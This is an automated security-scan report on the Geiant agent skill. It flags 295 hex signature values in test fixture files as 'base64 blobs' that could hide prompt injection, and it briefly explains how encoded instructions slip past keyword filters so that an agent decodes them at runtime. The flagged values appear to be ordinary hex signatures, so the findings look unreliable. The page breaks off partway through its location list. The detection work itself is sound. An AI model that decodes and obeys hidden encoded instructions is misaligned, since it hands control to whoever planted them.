Geiant— agent skill

Geiant — independently scanned and version-tracked by SaferSkills.

by GNS-Foundation·Agent Skill·github.com/GNS-Foundation/geiant

Is Geiant safe to install?

SaferSkills independently audited Geiant (Agent Skill) and scored it 45/100 (orange). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 295 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
45/100
●●●●●○○○○○
Re-scan~30s
Latest scan
ScannedJun 23, 2026 · 133d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 295 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 295 flagged

Securityscore 0 · 295 findings
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · packages/core/src/__tests__/fixtures/cgr_attestation_v1_jcs.golden.json
HIGH — once decoded by the agent, an encoded payload has the same impact class as plain-text injection.
Why it matters

A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.

The exact value spotted
excerptpackages/core/src/__tests__/fixtures/cgr_attestation_v1_jcs.golden.json· json
24"issuer": "gns-foundation",
25"issuer_key_id": "d04ab232742bb4ab3a1368bd4615e4e6d0224ab71a016baf8520a332c9778737",
26"signature": "6b6271fe501f7b43f70781996aacb22ec50484420adde52c4f58c0224faa202188f20e340345e3
… (52 chars elided on L26)
27"evidence_ref": null
28}
Occurrences
1 occurrence · at L26
How to fix
Remove the encoded blob, or decode it and review what it actually contains.
  1. Decode the base64 string and confirm it is not an instruction directed at the agent.
  2. Move any legitimate binary or signature data into a dedicated file (*.sig, SIGNATURES) outside the documentation.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-B64-PAYLOAD-01sha256f0bcd2e8baf303ba…rubric 365aacaView on GitHub
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · packages/core/src/__tests__/fixtures/cgr_attestation_v2_jcs.golden.json
HIGH — once decoded by the agent, an encoded payload has the same impact class as plain-text injection.
Why it matters

A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.

The exact value spotted
excerptpackages/core/src/__tests__/fixtures/cgr_attestation_v2_jcs.golden.json· json
29"issuer": "gns-foundation",
30"issuer_key_id": "d04ab232742bb4ab3a1368bd4615e4e6d0224ab71a016baf8520a332c9778737",
31"signature": "6d5327981a79e7a40c10b9ddd8c67df33f3f9e3456b832bda9334b6b0fcac83aaec9725aa425fb
… (52 chars elided on L31)
32"evidence_ref": null
33}
Occurrences
1 occurrence · at L31
How to fix
Remove the encoded blob, or decode it and review what it actually contains.
  1. Decode the base64 string and confirm it is not an instruction directed at the agent.
  2. Move any legitimate binary or signature data into a dedicated file (*.sig, SIGNATURES) outside the documentation.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-B64-PAYLOAD-01sha25675bcffc946fdf2e9…rubric 365aacaView on GitHub
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · packages/core/src/__tests__/fixtures/cgr_attestation_v3_jcs.golden.json
HIGH — once decoded by the agent, an encoded payload has the same impact class as plain-text injection.
Why it matters

A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.

The exact value spotted
excerptpackages/core/src/__tests__/fixtures/cgr_attestation_v3_jcs.golden.json· json
30"issuer": "gns-foundation",
31"issuer_key_id": "d04ab232742bb4ab3a1368bd4615e4e6d0224ab71a016baf8520a332c9778737",
32"signature": "b5e936fd3b514d2f6a9abbefa45efc90846c43d180d5fbf7fea01f08fdbb785cbcaab83c12b145
… (52 chars elided on L32)
33"evidence_ref": null
34}
Occurrences
1 occurrence · at L32
How to fix
Remove the encoded blob, or decode it and review what it actually contains.
  1. Decode the base64 string and confirm it is not an instruction directed at the agent.
  2. Move any legitimate binary or signature data into a dedicated file (*.sig, SIGNATURES) outside the documentation.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-B64-PAYLOAD-01sha2567698ad53f737d538…rubric 365aacaView on GitHub
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · packages/core/src/__tests__/fixtures/cgr_attestation_v3_read_jcs.golden.json
HIGH — once decoded by the agent, an encoded payload has the same impact class as plain-text injection.
Why it matters

A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.

The exact value spotted
excerptpackages/core/src/__tests__/fixtures/cgr_attestation_v3_read_jcs.golden.json· json
30"issuer": "gns-foundation",
31"issuer_key_id": "d04ab232742bb4ab3a1368bd4615e4e6d0224ab71a016baf8520a332c9778737",
32"signature": "cade627f695124eb18ccbda2ac521cf0e18817e85b36b8b52aa0bdf1de3f99679716c1f4686453
… (52 chars elided on L32)
33"evidence_ref": null
34}
Occurrences
1 occurrence · at L32
How to fix
Remove the encoded blob, or decode it and review what it actually contains.
  1. Decode the base64 string and confirm it is not an instruction directed at the agent.
  2. Move any legitimate binary or signature data into a dedicated file (*.sig, SIGNATURES) outside the documentation.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-B64-PAYLOAD-01sha256257c20071082a247…rubric 365aacaView on GitHub
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · packages/core/src/__tests__/fixtures/cgr_rotation_chain_jcs.golden.json
HIGH — once decoded by the agent, an encoded payload has the same impact class as plain-text injection.
Why it matters

A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.

The exact value spotted
excerptpackages/core/src/__tests__/fixtures/cgr_rotation_chain_jcs.golden.json· json
16"seq": 1,
17"not_before": "2026-01-01T00:00:00Z",
18"sig": "c24760f4c56ab0fca157698feaceb292ae7274cf4bd6d4d29c9a1ac196be9c2190e55de8d444a4b52c0d
… (45 chars elided on L18)
19}
20],
Occurrences
1 occurrence · at L18
How to fix
Remove the encoded blob, or decode it and review what it actually contains.
  1. Decode the base64 string and confirm it is not an instruction directed at the agent.
  2. Move any legitimate binary or signature data into a dedicated file (*.sig, SIGNATURES) outside the documentation.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-B64-PAYLOAD-01sha256c8c579e7a4cd060c…rubric 365aacaView on GitHub
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json×287
HIGH — once decoded by the agent, an encoded payload has the same impact class as plain-text injection.
Why it matters

A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.

The exact value spotted
excerptpackages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json· json
63}
64],
65"signature": "858a3a3cf194bab3cac2956b7b32d0ebbee6dca40c7c62620ccae0699d42af7fd7dfcfcf0fb19c
… (52 chars elided on L65)
66"evidence_ref": null
67},
Occurrences
287 occurrences · first at L65, also L91, L149 +284 more
Show all 287 locations
Line
File
L65
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L91
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L149
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L175
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L198
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L254
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L280
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L303
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L358
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L384
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L407
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L454
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L480
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L528
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L599
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L648
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L697
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L747
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L787
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L837
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L863
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L913
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L949
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L983
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1032
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1067
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1100
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1149
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1184
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1217
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1267
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1303
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1336
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1386
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1411
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1445
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1479
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1513
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1547
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1581
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1615
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1649
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1683
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1717
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1751
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1785
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1819
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1853
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1887
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1921
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1955
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L1989
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2023
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2057
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2091
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2125
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2159
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2193
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2227
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2261
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2295
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2329
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2363
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2397
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2431
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2465
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2499
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2533
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2567
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2601
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2635
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2669
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2703
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2737
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2771
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2805
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2839
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2873
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2907
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2941
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L2975
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3009
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3043
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3077
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3111
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3145
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3179
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3213
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3247
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3281
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3315
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3349
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3383
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3417
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3451
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3485
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3519
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3553
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3587
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3636
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3661
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3694
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3727
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3760
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3793
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3826
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3859
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3892
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3925
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3958
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L3991
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4024
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4057
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4090
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4123
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4156
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4189
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4222
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4255
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4288
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4321
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4354
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4387
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4420
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4453
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4486
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4519
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4552
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4585
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4618
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4651
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4684
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4717
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4750
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4783
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4816
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4849
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4882
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4915
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4948
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L4981
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5014
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5047
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5080
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5113
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5146
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5179
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5212
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5245
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5278
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5311
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5344
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5377
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5410
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5443
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5476
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5509
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5542
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5575
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5608
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5641
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5674
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5707
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5740
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5773
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5822
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5847
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5880
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5913
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5946
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L5979
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6012
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6045
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6078
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6111
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6144
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6177
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6210
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6243
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6276
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6309
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6342
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6375
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6408
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6441
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6474
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6507
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6540
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6573
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6606
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6639
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6672
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6705
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6738
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6771
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6804
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6837
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6870
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6903
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6936
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L6969
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7002
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7035
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7068
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7101
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7134
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7167
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7200
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7233
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7266
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7299
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7332
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7365
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7398
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7431
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7464
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7497
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7530
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7563
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7596
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7629
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7662
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7695
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7728
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7761
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7794
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7827
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7860
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7893
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7926
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L7959
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8008
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8059
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8085
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8134
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8160
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8209
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8235
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8285
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8311
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8361
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8387
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8437
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8463
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8511
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8537
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8586
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8612
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8660
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8686
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8723
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8757
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8797
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8831
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8881
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8930
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L8979
